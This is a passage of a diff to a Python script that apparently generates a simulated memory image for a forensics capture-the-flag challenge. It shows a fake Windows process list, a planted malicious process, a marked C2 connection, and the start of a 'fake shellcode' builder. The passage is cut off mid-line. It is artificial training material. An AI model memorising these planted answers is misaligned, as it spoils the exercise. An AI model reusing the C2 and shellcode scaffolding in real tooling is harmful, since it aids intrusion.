"smss.exe", "path": r"C:\Windows\System32\smss.exe", "threads": 2, "handles": 53, "session": 0, "create_time": "2026-02-20 08:00:02"}, - {"pid": 520, "ppid": 504, "name": "csrss.exe", "path": r"C:\Windows\System32\csrss.exe", "threads": 12, "handles": 587, "session": 0, "create_time": "2026-02-20 08:00:04"}, - {"pid": 604, "ppid": 504, "name": "wininit.exe", "path": r"C:\Windows\System32\wininit.exe", "threads": 1, "handles": 77, "session": 0, "create_time": "2026-02-20 08:00:05"}, - {"pid": 616, "ppid": 596, "name": "csrss.exe", "path": r"C:\Windows\System32\csrss.exe", "threads": 13, "handles": 430, "session": 1, "create_time": "2026-02-20 08:00:05"}, - {"pid": 700, "ppid": 596, "name": "winlogon.exe", "path": r"C:\Windows\System32\winlogon.exe", "threads": 3, "handles": 197, "session": 1, "create_time": "2026-02-20 08:00:05"}, - {"pid": 756, "ppid": 604, "name": "services.exe", "path": r"C:\Windows\System32\services.exe", "threads": 7, "handles": 313, "session": 0, "create_time": "2026-02-20 08:00:06"}, - {"pid": 764, "ppid": 604, "name": "lsass.exe", "path": r"C:\Windows\System32\lsass.exe", "threads": 9, "handles": 1289, "session": 0, "create_time": "2026-02-20 08:00:06"}, - {"pid": 868, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 21, "handles": 905, "session": 0, "create_time": "2026-02-20 08:00:07"}, - {"pid": 916, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 13, "handles": 471, "session": 0, "create_time": "2026-02-20 08:00:07"}, - {"pid": 1008, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 64, "handles": 1694, "session": 0, "create_time": "2026-02-20 08:00:08"}, - {"pid": 1052, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 18, "handles": 653, "session": 0, "create_time": "2026-02-20 08:00:08"}, - {"pid": 1148, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 30, "handles": 822, "session": 0, "create_time": "2026-02-20 08:00:09"}, - {"pid": 1264, "ppid": 756, "name": "spoolsv.exe", "path": r"C:\Windows\System32\spoolsv.exe", "threads": 7, "handles": 312, "session": 0, "create_time": "2026-02-20 08:00:12"}, - {"pid": 1388, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 9, "handles": 300, "session": 0, "create_time": "2026-02-20 08:00:14"}, - {"pid": 1576, "ppid": 756, "name": "VBoxService.exe", "path": r"C:\Program Files\Oracle\VirtualBox Guest Additions\VBoxService.exe", "threads": 11, "handles": 140, "session": 0, "create_time": "2026-02-20 08:00:16"}, - {"pid": 2028, "ppid": 756, "name": "SecurityHealth.exe", "path": r"C:\Windows\System32\SecurityHealthService.exe", "threads": 12, "handles": 347, "session": 0, "create_time": "2026-02-20 08:00:22"}, - {"pid": 2480, "ppid": 1008, "name": "taskhostw.exe", "path": r"C:\Windows\System32\taskhostw.exe", "threads": 8, "handles": 185, "session": 1, "create_time": "2026-02-20 08:01:05"}, - {"pid": 2544, "ppid": 1052, "name": "sihost.exe", "path": r"C:\Windows\System32\sihost.exe", "threads": 11, "handles": 554, "session": 1, "create_time": "2026-02-20 08:01:06"}, - {"pid": 2740, "ppid": 700, "name": "dwm.exe", "path": r"C:\Windows\System32\dwm.exe", "threads": 15, "handles": 856, "session": 1, "create_time": "2026-02-20 08:01:08"}, - {"pid": 3200, "ppid": 3128, "name": "explorer.exe", "path": r"C:\Windows\explorer.exe", "threads": 34, "handles": 1820, "session": 1, "create_time": "2026-02-20 08:01:15"}, - {"pid": 3580, "ppid": 3200, "name": "SecurityHealthTray.exe","path": r"C:\Windows\System32\SecurityHealthSystray.exe", "threads": 3, "handles": 113, "session": 1, "create_time": "2026-02-20 08:01:30"}, - {"pid": 3712, "ppid": 3200, "name": "OneDrive.exe", "path": r"C:\Users\admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe", "threads": 26, "handles": 754, "session": 1, "create_time": "2026-02-20 08:01:32"}, - {"pid": 4100, "ppid": 756, "name": "MsMpEng.exe", "path": r"C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe","threads": 24, "handles": 480, "session": 0, "create_time": "2026-02-20 08:01:45"}, - {"pid": 4528, "ppid": 3200, "name": "chrome.exe", "path": r"C:\Program Files\Google\Chrome\Application\chrome.exe","threads": 30, "handles": 1245, "session": 1, "create_time": "2026-02-20 09:15:22"}, - {"pid": 4680, "ppid": 4528, "name": "chrome.exe", "path": r"C:\Program Files\Google\Chrome\Application\chrome.exe","threads": 8, "handles": 217, "session": 1, "create_time": "2026-02-20 09:15:24"}, - {"pid": 4812, "ppid": 4528, "name": "chrome.exe", "path": r"C:\Program Files\Google\Chrome\Application\chrome.exe","threads": 15, "handles": 352, "session": 1, "create_time": "2026-02-20 09:15:25"}, - {"pid": 5124, "ppid": 3200, "name": "notepad.exe", "path": r"C:\Windows\System32\notepad.exe", "threads": 3, "handles": 87, "session": 1, "create_time": "2026-02-20 10:30:05"}, - {"pid": 5340, "ppid": 3200, "name": "cmd.exe", "path": r"C:\Windows\System32\cmd.exe", "threads": 1, "handles": 43, "session": 1, "create_time": "2026-02-20 14:22:18"}, -] - -# ─── Processus malveillant ───────────────────────────────────────────────────── - -MALICIOUS_PROCESS = { - "pid": CHALLENGE_CONFIG["malware_pid"], - "ppid": CHALLENGE_CONFIG["malware_ppid"], # svchost.exe – mais dans session 1, suspect ! - "name": CHALLENGE_CONFIG["malware_name"], - "path": CHALLENGE_CONFIG["malware_path"], - "threads": 5, - "handles": 142, - "session": 1, # session 1 alors que son parent (ppid 1052) est en session 0 → suspect ! - "create_time": "2026-02-20 14:23:47", # peu après cmd.exe -} - -# ─── Connexions réseau ───────────────────────────────────────────────────────── - -NETWORK_CONNECTIONS = [ - {"pid": 868, "proto": "TCPv4", "local": "0.0.0.0:135", "remote": "0.0.0.0:0", "state": "LISTENING"}, - {"pid": 4, "proto": "TCPv4", "local": "0.0.0.0:445", "remote": "0.0.0.0:0", "state": "LISTENING"}, - {"pid": 916, "proto": "TCPv4", "local": "0.0.0.0:5040", "remote": "0.0.0.0:0", "state": "LISTENING"}, - {"pid": 1388, "proto": "TCPv4", "local": "192.168.1.47:49672", "remote": "20.198.119.143:443", "state": "ESTABLISHED"}, - {"pid": 4528, "proto": "TCPv4", "local": "192.168.1.47:49801", "remote": "142.250.74.206:443", "state": "ESTABLISHED"}, - {"pid": 4528, "proto": "TCPv4", "local": "192.168.1.47:49803", "remote": "142.250.74.206:443", "state": "ESTABLISHED"}, - {"pid": 3712, "proto": "TCPv4", "local": "192.168.1.47:49780", "remote": "52.113.194.132:443", "state": "ESTABLISHED"}, - # ↓↓↓ Connexion C2 malveillante ↓↓↓ - {"pid": CHALLENGE_CONFIG["malware_pid"], "proto": "TCPv4", "local": f"{CHALLENGE_CONFIG['victim_ip']}:49847", - "remote": f"{CHALLENGE_CONFIG['c2_ip']}:{CHALLENGE_CONFIG['c2_port']}", "state": "ESTABLISHED"}, - {"pid": CHALLENGE_CONFIG["malware_pid"], "proto": "TCPv4", "local": f"{CHALLENGE_CONFIG['victim_ip']}:49902", - "remote": f"{CHALLENGE_CONFIG['c2_ip']}:{CHALLENGE_CONFIG['c2_backup_port']}", "state": "ESTABLISHED"}, - # ↑↑↑ fin connexion C2 ↑↑↑ - {"pid": 868, "proto": "UDPv4", "local": "0.0.0.0:5353", "remote": "*:*", "state": ""}, - {"pid": 1148, "proto": "UDPv4", "local": "0.0.0.0:5355", "remote": "*:*", "state": ""}, - {"pid": 1008, "proto": "UDPv6", "local": ":::5353", "remote": "*:*", "state": ""}, -] - -# ─── Sections mémoire injectées (malfind) ────────────────────────────────────── - -def build_shellcode_stub(): - """Construit un faux shellcode réaliste avec les artefacts du challenge.""" - cfg = CHALLENGE_CONFIG - # Simuler du code PE + shellcode - pe_header = b"MZ" + b"\x90" * 58 + struct.pack("